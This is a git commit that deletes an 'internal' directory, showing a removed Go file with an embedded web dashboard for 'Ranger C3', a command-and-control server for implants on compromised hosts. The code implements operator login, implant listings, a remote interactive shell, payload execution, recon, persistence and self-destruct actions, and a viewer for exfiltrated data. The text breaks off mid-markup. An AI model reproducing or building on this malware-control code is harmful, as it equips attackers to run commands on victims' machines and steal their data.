Delete directory 'internal'

This commit is contained in:
ek0ms savi0r
2026-09-19 16:58:44 +00:00
parent 6ebbabae5a
commit d87a98f86f
38 changed files with 0 additions and 8737 deletions
-976
View File
@@ -1,976 +0,0 @@
package api
// dashboardHTML is the operator dashboard embedded in the binary.
const dashboardHTML = `<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Ranger C3 v3</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body { background: #0a0a0a; color: #c0c0c0; font-family: 'Courier New', 'Consolas', monospace; overflow: hidden; height: 100vh; }
/* Layout */
.app-layout { display: flex; height: 100vh; }
.sidebar { width: 200px; background: #0d0d0d; border-right: 1px solid #1a3a1a; display: flex; flex-direction: column; flex-shrink: 0; }
.sidebar-header { padding: 18px 16px 12px; border-bottom: 1px solid #1a3a1a; }
.sidebar-header h1 { color: #00ff41; font-size: 14px; font-weight: normal; letter-spacing: 3px; text-transform: uppercase; }
.sidebar-header .c2id { color: #444; font-size: 9px; margin-top: 4px; word-break: break-all; }
.sidebar-nav { flex: 1; padding: 8px 0; }
.nav-item { padding: 10px 16px; cursor: pointer; font-size: 11px; color: #666; letter-spacing: 1px; border-left: 2px solid transparent; transition: all 0.15s; text-transform: uppercase; display: flex; align-items: center; gap: 8px; }
.nav-item:hover { color: #00ff41; background: #111; }
.nav-item.active { color: #00ff41; border-left-color: #00ff41; background: #0d1a0d; }
.nav-item .nav-badge { margin-left: auto; background: #1a3a1a; color: #00ff41; font-size: 9px; padding: 1px 6px; border-radius: 0; }
.sidebar-footer { padding: 12px 16px; border-top: 1px solid #1a3a1a; }
.sidebar-footer button { background: transparent; border: 1px solid #333; color: #555; padding: 6px 12px; cursor: pointer; font-family: 'Courier New', monospace; font-size: 10px; width: 100%; letter-spacing: 1px; }
.sidebar-footer button:hover { border-color: #00ff41; color: #00ff41; }
.main-area { flex: 1; overflow-y: auto; padding: 0; display: flex; flex-direction: column; }
/* Top bar */
.top-bar { background: #0d0d0d; border-bottom: 1px solid #1a3a1a; padding: 10px 20px; display: flex; gap: 24px; font-size: 10px; align-items: center; flex-wrap: wrap; }
.top-bar-item { color: #555; }
.top-bar-item .tbv { color: #00ff41; margin-left: 4px; }
.top-bar-right { margin-left: auto; display: flex; gap: 16px; align-items: center; }
.conn-status { display: inline-block; width: 6px; height: 6px; border-radius: 0; }
.conn-status.online { background: #00ff41; }
.conn-status.offline { background: #444; }
.clock { color: #444; font-size: 10px; }
/* Content */
.content { padding: 20px; flex: 1; }
/* Login */
.login-screen { max-width: 380px; margin: 120px auto; text-align: center; }
.login-screen .login-logo { color: #00ff41; font-size: 20px; letter-spacing: 5px; margin-bottom: 8px; text-transform: uppercase; }
.login-screen .login-sub { color: #444; font-size: 10px; margin-bottom: 28px; letter-spacing: 2px; }
.login-screen input[type=password] { background: #111; border: 1px solid #1a3a1a; color: #c0c0c0; padding: 12px; width: 100%; margin-bottom: 12px; font-family: 'Courier New', monospace; font-size: 13px; outline: none; text-align: center; }
.login-screen input[type=password]:focus { border-color: #00ff41; }
.login-screen button { background: transparent; border: 1px solid #00ff41; color: #00ff41; padding: 10px 40px; cursor: pointer; font-family: 'Courier New', monospace; font-size: 12px; letter-spacing: 2px; }
.login-screen button:hover { background: #00ff41; color: #000; }
.login-screen .login-error { color: #ff4444; margin-top: 14px; font-size: 11px; }
.login-screen .login-spinner { margin-top: 14px; color: #555; font-size: 11px; }
/* Section headers */
.section-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 16px; }
.section-header h2 { color: #00ff41; font-size: 13px; font-weight: normal; letter-spacing: 2px; text-transform: uppercase; }
.section-header .section-actions { display: flex; gap: 8px; align-items: center; }
/* Search / Filter */
.search-box { background: #111; border: 1px solid #1a3a1a; color: #c0c0c0; padding: 7px 10px; font-family: 'Courier New', monospace; font-size: 11px; width: 220px; outline: none; }
.search-box:focus { border-color: #00ff41; }
.filter-select { background: #111; border: 1px solid #1a3a1a; color: #aaa; padding: 7px 10px; font-family: 'Courier New', monospace; font-size: 11px; outline: none; cursor: pointer; }
.filter-select:focus { border-color: #00ff41; }
/* Tables */
.table-wrap { overflow-x: auto; }
table { width: 100%; border-collapse: collapse; }
th, td { border: 1px solid #1a3a1a; padding: 8px 10px; text-align: left; font-size: 11px; }
th { background: #111; color: #00ff41; letter-spacing: 1px; font-weight: normal; white-space: nowrap; }
td { color: #aaa; }
tr { transition: background 0.1s; }
tr:hover td { background: #121212; }
tr.clickable { cursor: pointer; }
tr.clickable:hover td { background: #0d1a0d; }
.empty-row td { text-align: center; color: #444; padding: 30px; font-size: 11px; letter-spacing: 1px; }
/* Badges */
.badge { display: inline-block; padding: 1px 6px; font-size: 9px; letter-spacing: 1px; }
.badge-green { color: #00ff41; border: 1px solid #1a3a1a; }
.badge-red { color: #ff4444; border: 1px solid #3a1a1a; }
.badge-yellow { color: #ffaa00; border: 1px solid #3a2a00; }
.badge-gray { color: #555; border: 1px solid #222; }
.badge-blue { color: #44aaff; border: 1px solid #1a2a3a; }
/* Buttons */
.btn { background: transparent; border: 1px solid #1a3a1a; color: #00ff41; padding: 6px 14px; cursor: pointer; font-family: 'Courier New', monospace; font-size: 10px; letter-spacing: 1px; transition: all 0.1s; white-space: nowrap; }
.btn:hover { background: #00ff41; color: #000; border-color: #00ff41; }
.btn-sm { padding: 4px 10px; font-size: 9px; }
.btn-danger { border-color: #3a1a1a; color: #ff4444; }
.btn-danger:hover { background: #ff4444; color: #000; border-color: #ff4444; }
.btn-ghost { border-color: transparent; color: #555; }
.btn-ghost:hover { border-color: #333; color: #aaa; }
.btn:disabled { opacity: 0.3; cursor: not-allowed; }
.btn-group { display: flex; gap: 6px; flex-wrap: wrap; }
/* Stats grid */
.stats-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(140px, 1fr)); gap: 10px; margin-bottom: 20px; }
.stat-card { background: #111; border: 1px solid #1a3a1a; padding: 12px 14px; }
.stat-card .stat-label { color: #555; font-size: 9px; text-transform: uppercase; letter-spacing: 1px; }
.stat-card .stat-value { color: #00ff41; font-size: 18px; margin-top: 3px; }
.stat-card .stat-sub { color: #444; font-size: 9px; margin-top: 2px; }
/* Cards */
.card { background: #111; border: 1px solid #1a3a1a; margin-bottom: 16px; }
.card-header { padding: 10px 14px; border-bottom: 1px solid #1a3a1a; display: flex; justify-content: space-between; align-items: center; }
.card-header h3 { color: #00ff41; font-size: 11px; font-weight: normal; letter-spacing: 1px; text-transform: uppercase; }
.card-body { padding: 14px; }
/* Shell */
.shell-output { background: #080808; border: 1px solid #1a3a1a; padding: 12px; overflow-x: auto; max-height: 300px; overflow-y: auto; font-size: 11px; line-height: 1.6; margin-bottom: 10px; }
.shell-output .shell-line { color: #aaa; white-space: pre-wrap; word-break: break-all; }
.shell-output .shell-line.input { color: #00ff41; }
.shell-output .shell-line.output { color: #c0c0c0; }
.shell-output .shell-line.error { color: #ff4444; }
.shell-output .shell-prompt { color: #00ff41; }
.shell-input-row { display: flex; gap: 8px; }
.shell-input-row input { flex: 1; background: #111; border: 1px solid #1a3a1a; color: #00ff41; padding: 8px 10px; font-family: 'Courier New', monospace; font-size: 12px; outline: none; }
.shell-input-row input:focus { border-color: #00ff41; }
.shell-input-row input::placeholder { color: #333; }
/* Tabs within detail */
.detail-tabs { display: flex; gap: 0; margin-bottom: 16px; border-bottom: 1px solid #1a3a1a; }
.detail-tab { padding: 8px 18px; cursor: pointer; font-family: 'Courier New', monospace; font-size: 11px; color: #555; border-bottom: 1px solid transparent; margin-bottom: -1px; letter-spacing: 1px; }
.detail-tab:hover { color: #aaa; }
.detail-tab.active { color: #00ff41; border-bottom-color: #00ff41; }
.detail-panel { display: none; }
.detail-panel.active { display: block; }
/* Payload run form */
.payload-form { display: flex; gap: 8px; align-items: center; flex-wrap: wrap; }
.payload-form select { background: #111; border: 1px solid #1a3a1a; color: #aaa; padding: 7px 10px; font-family: 'Courier New', monospace; font-size: 11px; outline: none; min-width: 160px; }
.payload-form select:focus { border-color: #00ff41; }
.payload-form input[type=text] { background: #111; border: 1px solid #1a3a1a; color: #c0c0c0; padding: 7px 10px; font-family: 'Courier New', monospace; font-size: 11px; outline: none; min-width: 180px; }
.payload-form input[type=text]:focus { border-color: #00ff41; }
/* Key-value pairs */
.kv-list { display: grid; grid-template-columns: auto 1fr; gap: 6px 16px; font-size: 11px; }
.kv-list .kv-key { color: #555; letter-spacing: 1px; white-space: nowrap; }
.kv-list .kv-val { color: #aaa; word-break: break-all; }
.kv-list .kv-val.green { color: #00ff41; }
/* Back link */
.back-link { color: #555; font-size: 11px; cursor: pointer; display: inline-block; margin-bottom: 14px; letter-spacing: 1px; }
.back-link:hover { color: #00ff41; }
/* Loading */
.loading { text-align: center; padding: 40px; color: #444; font-size: 11px; letter-spacing: 2px; }
.loading-dots::after { content: ' ...'; }
@keyframes blink { 50% { opacity: 0; } }
.loading-dots { animation: blink 1.5s step-end infinite; }
/* Modal overlay */
.modal-overlay { position: fixed; top: 0; left: 0; right: 0; bottom: 0; background: rgba(0,0,0,0.85); display: flex; align-items: center; justify-content: center; z-index: 1000; }
.modal { background: #0d0d0d; border: 1px solid #1a3a1a; max-width: 500px; width: 90%; max-height: 80vh; overflow-y: auto; }
.modal-header { padding: 12px 16px; border-bottom: 1px solid #1a3a1a; display: flex; justify-content: space-between; align-items: center; }
.modal-header h3 { color: #00ff41; font-size: 12px; font-weight: normal; letter-spacing: 2px; }
.modal-close { background: none; border: none; color: #555; cursor: pointer; font-size: 16px; font-family: 'Courier New', monospace; }
.modal-close:hover { color: #ff4444; }
.modal-body { padding: 16px; }
.modal-body label { display: block; color: #666; font-size: 10px; letter-spacing: 1px; margin-bottom: 4px; margin-top: 12px; }
.modal-body label:first-child { margin-top: 0; }
.modal-body input, .modal-body textarea, .modal-body select { background: #111; border: 1px solid #1a3a1a; color: #c0c0c0; padding: 8px; width: 100%; font-family: 'Courier New', monospace; font-size: 11px; outline: none; }
.modal-body input:focus, .modal-body textarea:focus, .modal-body select:focus { border-color: #00ff41; }
.modal-body textarea { min-height: 80px; resize: vertical; }
.modal-footer { padding: 12px 16px; border-top: 1px solid #1a3a1a; display: flex; justify-content: flex-end; gap: 8px; }
/* Task log */
.task-log { max-height: 500px; overflow-y: auto; }
.task-entry { padding: 6px 0; border-bottom: 1px solid #111; font-size: 10px; display: flex; gap: 10px; }
.task-entry:last-child { border-bottom: none; }
.task-entry .task-time { color: #444; white-space: nowrap; }
.task-entry .task-type { color: #44aaff; }
.task-entry .task-id { color: #333; }
.task-entry .task-status { margin-left: auto; }
.status-pending { color: #ffaa00; }
.status-delivered { color: #44aaff; }
.status-completed { color: #00ff41; }
.status-failed { color: #ff4444; }
/* Toast notification */
.toast { position: fixed; bottom: 20px; right: 20px; background: #111; border: 1px solid #1a3a1a; padding: 10px 16px; font-size: 11px; color: #c0c0c0; z-index: 2000; max-width: 360px; transition: opacity 0.3s; }
.toast.success { border-left: 2px solid #00ff41; }
.toast.error { border-left: 2px solid #ff4444; }
/* Exfil items */
.exfil-item { padding: 8px 12px; border: 1px solid #1a3a1a; margin-bottom: 6px; font-size: 10px; display: flex; justify-content: space-between; align-items: center; }
.exfil-item .exfil-meta { color: #555; }
.exfil-item .exfil-meta span { margin-right: 12px; }
/* Scrollbar */
::-webkit-scrollbar { width: 6px; height: 6px; }
::-webkit-scrollbar-track { background: #0a0a0a; }
::-webkit-scrollbar-thumb { background: #1a3a1a; }
::-webkit-scrollbar-thumb:hover { background: #2a4a2a; }
</style>
</head>
<body>
<div id="app"></div>
<script>
(function() {
var API = '';
var token = localStorage.getItem('token');
var currentView = 'implants';
var selectedImplantId = null;
var implantsCache = [];
var peersCache = [];
var payloadsCache = [];
var configCache = {};
var refreshTimer = null;
var shellHistory = {};
var toastTimer = null;
// ---- HTTP helpers ----
function headers() {
return {
'Authorization': 'Bearer ' + token,
'Content-Type': 'application/json'
};
}
function api(path) {
return fetch(API + path, {headers: headers()}).then(function(r) { return r.json(); });
}
function apiRaw(path) {
return fetch(API + path, {headers: headers()}).then(function(r) { return r.text(); });
}
function post(path, body) {
return fetch(API + path, {
method: 'POST',
headers: headers(),
body: JSON.stringify(body || {})
}).then(function(r) { return r.json(); });
}
// ---- Toast ----
function toast(msg, type) {
type = type || 'success';
var el = document.getElementById('toast');
if (!el) {
el = document.createElement('div');
el.id = 'toast';
el.className = 'toast';
document.body.appendChild(el);
}
el.className = 'toast ' + type;
el.textContent = msg;
el.style.opacity = '1';
if (toastTimer) clearTimeout(toastTimer);
toastTimer = setTimeout(function() { el.style.opacity = '0'; }, 4000);
}
// ---- Auth ----
function login() {
var pw = document.getElementById('login-pw').value;
fetch(API + '/api/dashboard/login', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({password: pw})
}).then(function(r) { return r.json(); }).then(function(data) {
if (data.token) {
token = data.token;
localStorage.setItem('token', token);
render();
} else {
document.getElementById('login-error').textContent = 'invalid credentials';
}
}).catch(function() {
document.getElementById('login-error').textContent = 'connection error';
});
}
function logout() {
token = null;
localStorage.removeItem('token');
selectedImplantId = null;
render();
}
// ---- Navigation ----
function navigate(view) {
currentView = view;
selectedImplantId = null;
render();
}
function showImplantDetail(id) {
selectedImplantId = id;
currentView = 'implant-detail';
render();
}
function backToImplants() {
selectedImplantId = null;
currentView = 'implants';
render();
}
// ---- Time helpers ----
function ago(ts) {
if (!ts) return 'never';
var d = new Date(ts);
var diff = (Date.now() - d.getTime()) / 1000;
if (diff < 60) return Math.round(diff) + 's ago';
if (diff < 3600) return Math.round(diff/60) + 'm ago';
if (diff < 86400) return Math.round(diff/3600) + 'h ago';
return Math.round(diff/86400) + 'd ago';
}
function fmtTime(ts) {
if (!ts) return '-';
var d = new Date(ts);
return d.toLocaleString();
}
function fmtTimeShort(ts) {
if (!ts) return '-';
var d = new Date(ts);
return d.toLocaleTimeString();
}
function pad(n) { return n < 10 ? '0' + n : '' + n; }
function updateClock() {
var el = document.getElementById('clock');
if (el) {
var d = new Date();
el.textContent = d.getUTCFullYear() + '-' + pad(d.getUTCMonth()+1) + '-' + pad(d.getUTCDate()) + 'T' + pad(d.getUTCHours()) + ':' + pad(d.getUTCMinutes()) + ':' + pad(d.getUTCSeconds()) + 'Z';
}
}
// ---- Implant actions ----
function sendShellCommand(implantId) {
var input = document.getElementById('shell-input');
var cmd = input ? input.value.trim() : '';
if (!cmd) return;
// Optimistic update to shell output
var output = document.getElementById('shell-output');
if (output) {
output.innerHTML = output.innerHTML + '<div class="shell-line input"><span class="shell-prompt">$ </span>' + escHtml(cmd) + '</div>';
output.innerHTML = output.innerHTML + '<div class="shell-line output">[task queued, waiting for implant check-in...]</div>';
output.scrollTop = output.scrollHeight;
}
input.value = '';
post('/api/dashboard/task', {
implant_id: implantId,
type: 'shell',
payload: {command: cmd},
channel: 'primary'
}).then(function(data) {
if (data.success) {
toast('shell task queued: ' + data.task_id);
} else {
toast('error queuing shell task', 'error');
}
}).catch(function() {
toast('connection error', 'error');
});
}
function sendCustomTask(implantId) {
var taskType = document.getElementById('custom-task-type').value;
var taskPayload = document.getElementById('custom-task-payload').value;
if (!taskType) { toast('enter a task type', 'error'); return; }
var payload = {};
try {
payload = taskPayload ? JSON.parse(taskPayload) : {};
} catch(e) {
toast('invalid JSON payload', 'error');
return;
}
post('/api/dashboard/task', {
implant_id: implantId,
type: taskType,
payload: payload,
channel: 'primary'
}).then(function(data) {
if (data.success) {
toast('custom task queued: ' + data.task_id);
} else {
toast('error queuing task', 'error');
}
}).catch(function() {
toast('connection error', 'error');
});
}
function runPayload(implantId, payloadName, payloadArgs) {
var args = payloadArgs || '';
var parsedArgs = {};
if (args) {
try { parsedArgs = JSON.parse(args); } catch(e) { parsedArgs = {args: args}; }
}
post('/api/dashboard/task', {
implant_id: implantId,
type: 'exec',
payload: {payload: payloadName, args: parsedArgs},
channel: 'primary'
}).then(function(data) {
if (data.success) {
toast('payload task queued: ' + data.task_id);
} else {
toast('error', 'error');
}
}).catch(function() {
toast('connection error', 'error');
});
}
function quickAction(implantId, action) {
var payloads = {
'recon': {command: 'whoami && hostname && ip addr'},
'screenshot': {command: 'screenshot'},
'sleep30': {command: 'sleep 30'},
'persist': {command: 'persist'},
'selfdestruct': {command: 'selfdestruct'}
};
var p = payloads[action] || {command: action};
post('/api/dashboard/task', {
implant_id: implantId,
type: 'shell',
payload: p,
channel: 'primary'
}).then(function(data) {
if (data.success) {
toast('action queued: ' + action);
} else {
toast('error', 'error');
}
}).catch(function() {
toast('connection error', 'error');
});
}
// ---- Exfil modal ----
function showExfilModal(implantId) {
var overlay = document.createElement('div');
overlay.className = 'modal-overlay';
overlay.innerHTML = '<div class="modal"><div class="modal-header"><h3>Exfil Data : ' + escHtml(implantId.substring(0,12)) + '</h3><button class="modal-close" onclick="this.parentElement.parentElement.parentElement.remove()">x</button></div><div class="modal-body"><div class="loading">fetching...</div></div></div>';
document.body.appendChild(overlay);
overlay.addEventListener('click', function(e) { if (e.target === overlay) overlay.remove(); });
api('/api/dashboard/exfil/' + implantId).then(function(data) {
var body = overlay.querySelector('.modal-body');
if (!data.success) {
body.innerHTML = '<p style="color:#444">no exfil data available</p>';
return;
}
body.innerHTML = '<p style="color:#555;font-size:11px">implant: ' + escHtml(data.implant || implantId) + '</p><p style="color:#555;font-size:11px">' + escHtml(data.message || 'exfil endpoint active') + '</p><div style="margin-top:12px"><pre style="background:#080808;border:1px solid #1a3a1a;padding:10px;font-size:10px;overflow-x:auto">' + escHtml(JSON.stringify(data, null, 2)) + '</pre></div>';
}).catch(function() {
var body = overlay.querySelector('.modal-body');
body.innerHTML = '<p style="color:#ff4444">failed to fetch exfil data</p>';
});
}
// ---- Escaping ----
function escHtml(s) {
if (s == null) return '';
return String(s).replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;').replace(/"/g,'&quot;');
}
// ---- Status helpers ----
function isOnline(lastSeen, thresholdMs) {
if (!lastSeen) return false;
thresholdMs = thresholdMs || 300000;
return (Date.now() - new Date(lastSeen).getTime()) < thresholdMs;
}
function statusBadge(online) {
if (online) return '<span class="badge badge-green">ONLINE</span>';
return '<span class="badge badge-gray">OFFLINE</span>';
}
function flaggedBadge() {
return '<span class="badge badge-red">FLAGGED</span>';
}
// ============ RENDER ============
function render() {
var app = document.getElementById('app');
updateClock();
if (!token) {
renderLogin(app);
return;
}
// Fetch all data then render
Promise.all([
api('/api/dashboard/config'),
api('/api/dashboard/implants'),
api('/api/dashboard/peers'),
api('/api/dashboard/payloads')
]).then(function(results) {
configCache = results[0].config || {};
implantsCache = results[1].implants || [];
peersCache = results[2].peers || [];
payloadsCache = results[3].payloads || [];
renderMain(app);
}).catch(function() {
app.innerHTML = '<div class="login-screen"><div class="login-logo">connection lost</div><p style="color:#555;font-size:11px;margin:12px 0 20px">retrying automatically...</p><button onclick="render()">retry</button></div>';
});
// Schedule auto-refresh
if (refreshTimer) clearTimeout(refreshTimer);
refreshTimer = setTimeout(render, 12000);
// Don't render twice if fetching
if (!app.innerHTML) {
app.innerHTML = '<div style="display:flex;height:100vh;align-items:center;justify-content:center"><span style="color:#333;letter-spacing:2px;font-size:12px">RANGER C3 <span class="loading-dots">loading</span></span></div>';
}
}
function renderLogin(app) {
app.innerHTML = '<div class="login-screen">' +
'<div class="login-logo">RANGER C3</div>' +
'<div class="login-sub">v3.0.0 multi-node mesh c2</div>' +
'<input type="password" id="login-pw" placeholder="access code" autofocus onkeydown="if(event.key==\'Enter\')login()">' +
'<button onclick="login()">authenticate</button>' +
'<div class="login-error" id="login-error"></div>' +
'</div>';
}
function renderMain(app) {
var onlineCount = 0, dnsCount = 0, flaggedCount = 0;
for (var i = 0; i < implantsCache.length; i++) {
var im = implantsCache[i];
if (isOnline(im.last_seen)) onlineCount++;
if (im.dns_enabled) dnsCount++;
if (im.flagged) flaggedCount++;
}
var cfg = configCache;
var contentHTML = '';
var implantTitle = 'Implants (' + implantsCache.length + ')';
if (currentView === 'implant-detail' && selectedImplantId) {
contentHTML = renderImplantDetail(selectedImplantId);
implantTitle = 'Implant Detail';
} else if (currentView === 'implants') {
contentHTML = renderImplantList();
} else if (currentView === 'peers') {
contentHTML = renderPeers();
} else if (currentView === 'payloads') {
contentHTML = renderPayloads();
} else {
contentHTML = renderImplantList();
currentView = 'implants';
}
var navImplantsActive = (currentView === 'implants' || currentView === 'implant-detail') ? 'active' : '';
var navPeersActive = (currentView === 'peers') ? 'active' : '';
var navPayloadsActive = (currentView === 'payloads') ? 'active' : '';
app.innerHTML =
'<div class="app-layout">' +
' <div class="sidebar">' +
' <div class="sidebar-header">' +
' <h1>RANGER C3</h1>' +
' <div class="c2id">' + escHtml(cfg.c2_id || 'standalone') + '</div>' +
' </div>' +
' <div class="sidebar-nav">' +
' <div class="nav-item ' + navImplantsActive + '" onclick="navigate(\'implants\')">implants<div class="nav-badge">' + implantsCache.length + '</div></div>' +
' <div class="nav-item ' + navPeersActive + '" onclick="navigate(\'peers\')">mesh peers<div class="nav-badge">' + peersCache.length + '</div></div>' +
' <div class="nav-item ' + navPayloadsActive + '" onclick="navigate(\'payloads\')">payloads<div class="nav-badge">' + (payloadsCache.length||0) + '</div></div>' +
' </div>' +
' <div class="sidebar-footer">' +
' <button onclick="logout()">disconnect</button>' +
' </div>' +
' </div>' +
' <div class="main-area">' +
' <div class="top-bar">' +
' <div class="top-bar-item">version: <span class="tbv">' + escHtml(cfg.version || '?') + '</span></div>' +
' <div class="top-bar-item">uptime: <span class="tbv">' + escHtml(cfg.uptime || '?') + '</span></div>' +
' <div class="top-bar-item">implants: <span class="tbv">' + implantsCache.length + '</span></div>' +
' <div class="top-bar-item">online: <span class="tbv">' + onlineCount + '</span></div>' +
' <div class="top-bar-item"><span class="conn-status ' + (implantsCache.length > 0 ? 'online' : 'offline') + '"></span></div>' +
' <div class="top-bar-right">' +
' <span class="clock" id="clock"></span>' +
' </div>' +
' </div>' +
' <div class="content">' +
' <div class="section-header">' +
' <h2>' + escHtml(implantTitle) + '</h2>' +
' </div>' +
contentHTML +
' </div>' +
' </div>' +
'</div>';
}
// ---- Implant List ----
function renderImplantList() {
var search = '';
var filter = '';
if (window._impSearch) search = window._impSearch;
if (window._impFilter) filter = window._impFilter;
var filtered = implantsCache;
if (search) {
var q = search.toLowerCase();
filtered = filtered.filter(function(im) {
return (im.id && im.id.toLowerCase().indexOf(q) >= 0) ||
(im.hostname && im.hostname.toLowerCase().indexOf(q) >= 0) ||
(im.type && im.type.toLowerCase().indexOf(q) >= 0) ||
(im.target_proc && im.target_proc.toLowerCase().indexOf(q) >= 0);
});
}
if (filter === 'online') {
filtered = filtered.filter(function(im) { return isOnline(im.last_seen); });
} else if (filter === 'offline') {
filtered = filtered.filter(function(im) { return !isOnline(im.last_seen); });
} else if (filter === 'flagged') {
filtered = filtered.filter(function(im) { return im.flagged; });
} else if (filter === 'dns') {
filtered = filtered.filter(function(im) { return im.dns_enabled; });
}
var rows = '';
if (filtered.length === 0) {
rows = '<tr class="empty-row"><td colspan="9">no implants match</td></tr>';
} else {
for (var i = 0; i < filtered.length; i++) {
var im = filtered[i];
var online = isOnline(im.last_seen);
var rowClass = '';
if (im.flagged) rowClass = 'flagged';
else if (im.dns_enabled && !online) rowClass = 'dns';
var statusBadgeHtml = online ? '<span class="badge badge-green">ONLINE</span>' : '<span class="badge badge-gray">OFFLINE</span>';
var jitterStr = (im.jitter_score != null) ? im.jitter_score.toFixed(2) : '1.00';
var procStr = im.target_proc || 'unknown';
var hostStr = im.hostname || '?';
var actionsHtml = '<button class="btn btn-sm" onclick="event.stopPropagation();quickAction(\'' + im.id + '\',\'recon\')">recon</button>';
rows = rows + '<tr class="clickable ' + rowClass + '" onclick="showImplantDetail(\'' + im.id + '\')">' +
'<td>' + escHtml(im.id.substring(0,10)) + '</td>' +
'<td>' + escHtml(im.type || '?') + '</td>' +
'<td>' + escHtml(procStr) + '</td>' +
'<td>' + escHtml(hostStr) + '</td>' +
'<td>' + jitterStr + '</td>' +
'<td>' + (im.dns_enabled ? 'Y' : 'N') + '</td>' +
'<td>' + (im.mesh_enabled ? 'Y' : 'N') + '</td>' +
'<td>' + statusBadgeHtml + '</td>' +
'<td>' + ago(im.last_seen) + '</td>' +
'</tr>';
}
}
return '<div style="margin-bottom:14px;display:flex;gap:8px;align-items:center;flex-wrap:wrap">' +
'<input class="search-box" type="text" placeholder="search implants..." value="' + escHtml(search) + '" oninput="window._impSearch=this.value;render()">' +
'<select class="filter-select" onchange="window._impFilter=this.value;render()">' +
'<option value="">all implants</option>' +
'<option value="online"' + (filter==='online'?' selected':'') + '>online</option>' +
'<option value="offline"' + (filter==='offline'?' selected':'') + '>offline</option>' +
'<option value="flagged"' + (filter==='flagged'?' selected':'') + '>flagged</option>' +
'<option value="dns"' + (filter==='dns'?' selected':'') + '>dns</option>' +
'</select>' +
'<span style="color:#444;font-size:10px;margin-left:auto">' + filtered.length + ' / ' + implantsCache.length + ' shown</span>' +
'</div>' +
'<div class="table-wrap"><table>' +
'<tr><th>ID</th><th>Type</th><th>Process</th><th>Host</th><th>Jitter</th><th>DNS</th><th>Mesh</th><th>Status</th><th>Last Seen</th></tr>' +
rows +
'</table></div>';
}
// ---- Implant Detail ----
function renderImplantDetail(id) {
// Find implant in cache
var im = null;
for (var i = 0; i < implantsCache.length; i++) {
if (implantsCache[i].id === id) { im = implantsCache[i]; break; }
}
if (!im) {
return '<div class="back-link" onclick="backToImplants()">&lt; back to implants</div><div class="loading">implant not found</div>';
}
var online = isOnline(im.last_seen);
var onlineStr = online ? 'ONLINE' : 'OFFLINE';
var onlineClass = online ? 'badge-green' : 'badge-gray';
var jitterStr = (im.jitter_score != null) ? im.jitter_score.toFixed(2) : '1.00';
var firstSeen = im.first_seen ? fmtTime(im.first_seen) : '-';
var lastSeen = im.last_seen ? fmtTime(im.last_seen) : '-';
var lastSeenAgo = ago(im.last_seen);
// We need to load tasks for this implant (pending ones)
// We'll fetch them asynchronously and fill in later
var taskSection = '<div class="loading" id="task-loading">loading tasks...</div>';
// Build the detail panels
return '<div class="back-link" onclick="backToImplants()">&lt; back to implants</div>' +
// Implant header
'<div class="card" style="margin-bottom:16px">' +
'<div class="card-header"><h3>' + escHtml(im.id.substring(0,16)) + '</h3>' +
'<div>' + (im.flagged ? flaggedBadge() + ' ' : '') + '<span class="badge ' + onlineClass + '">' + onlineStr + '</span></div>' +
'</div>' +
'<div class="card-body">' +
'<div class="stats-grid">' +
'<div class="stat-card"><div class="stat-label">Type</div><div class="stat-value" style="font-size:14px">' + escHtml(im.type || '-') + '</div></div>' +
'<div class="stat-card"><div class="stat-label">Hostname</div><div class="stat-value" style="font-size:14px">' + escHtml(im.hostname || '-') + '</div></div>' +
'<div class="stat-card"><div class="stat-label">Process</div><div class="stat-value" style="font-size:14px">' + escHtml(im.target_proc || '-') + '</div></div>' +
'<div class="stat-card"><div class="stat-label">Arch</div><div class="stat-value" style="font-size:14px">' + escHtml(im.arch || '-') + '</div></div>' +
'<div class="stat-card"><div class="stat-label">Beacons</div><div class="stat-value">' + (im.beacon_count || 0) + '</div></div>' +
'<div class="stat-card"><div class="stat-label">Tasks (sent/done)</div><div class="stat-value">' + (im.tasks_sent || 0) + ' / ' + (im.tasks_done || 0) + '</div></div>' +
'<div class="stat-card"><div class="stat-label">Jitter Score</div><div class="stat-value">' + jitterStr + '</div></div>' +
'<div class="stat-card"><div class="stat-label">Node ID</div><div class="stat-value" style="font-size:12px">' + escHtml(im.node_id || '-') + '</div></div>' +
'<div class="stat-card"><div class="stat-label">First Seen</div><div class="stat-value" style="font-size:11px;color:#888">' + firstSeen + '</div></div>' +
'<div class="stat-card"><div class="stat-label">Last Seen</div><div class="stat-value" style="font-size:11px;color:#888">' + lastSeen + '</div><div class="stat-sub">' + lastSeenAgo + '</div></div>' +
'</div>' +
'</div>' +
'</div>' +
// Tab navigation
'<div class="detail-tabs">' +
'<div class="detail-tab active" onclick="switchDetailTab(this,\'shell\')" id="dtab-shell">shell</div>' +
'<div class="detail-tab" onclick="switchDetailTab(this,\'tasks\')" id="dtab-tasks">tasks</div>' +
'<div class="detail-tab" onclick="switchDetailTab(this,\'payload\')" id="dtab-payload">payload</div>' +
'<div class="detail-tab" onclick="switchDetailTab(this,\'actions\')" id="dtab-actions">actions</div>' +
'</div>' +
// Shell panel
'<div class="detail-panel active" id="panel-shell">' +
'<div class="card">' +
'<div class="card-header"><h3>Interactive Shell</h3></div>' +
'<div class="card-body">' +
'<div class="shell-output" id="shell-output"></div>' +
'<div class="shell-input-row">' +
'<input type="text" id="shell-input" placeholder="whoami, ls, ipconfig, ..." onkeydown="if(event.key==\'Enter\')sendShellCommand(\'' + id + '\')">' +
'<button class="btn" onclick="sendShellCommand(\'' + id + '\')">send</button>' +
'<button class="btn btn-sm" onclick="document.getElementById(\'shell-output\').innerHTML=\'\'">clear</button>' +
'</div>' +
'</div>' +
'</div>' +
'</div>' +
// Tasks panel
'<div class="detail-panel" id="panel-tasks">' +
'<div class="card">' +
'<div class="card-header"><h3>Pending Tasks</h3><div><button class="btn btn-sm" onclick="refreshTaskList(\'' + id + '\')">refresh</button></div></div>' +
'<div class="card-body">' +
'<div id="tasks-container">' + taskSection + '</div>' +
'</div>' +
'</div>' +
'<div class="card">' +
'<div class="card-header"><h3>Custom Task</h3></div>' +
'<div class="card-body">' +
'<div style="display:flex;gap:8px;flex-wrap:wrap;align-items:end">' +
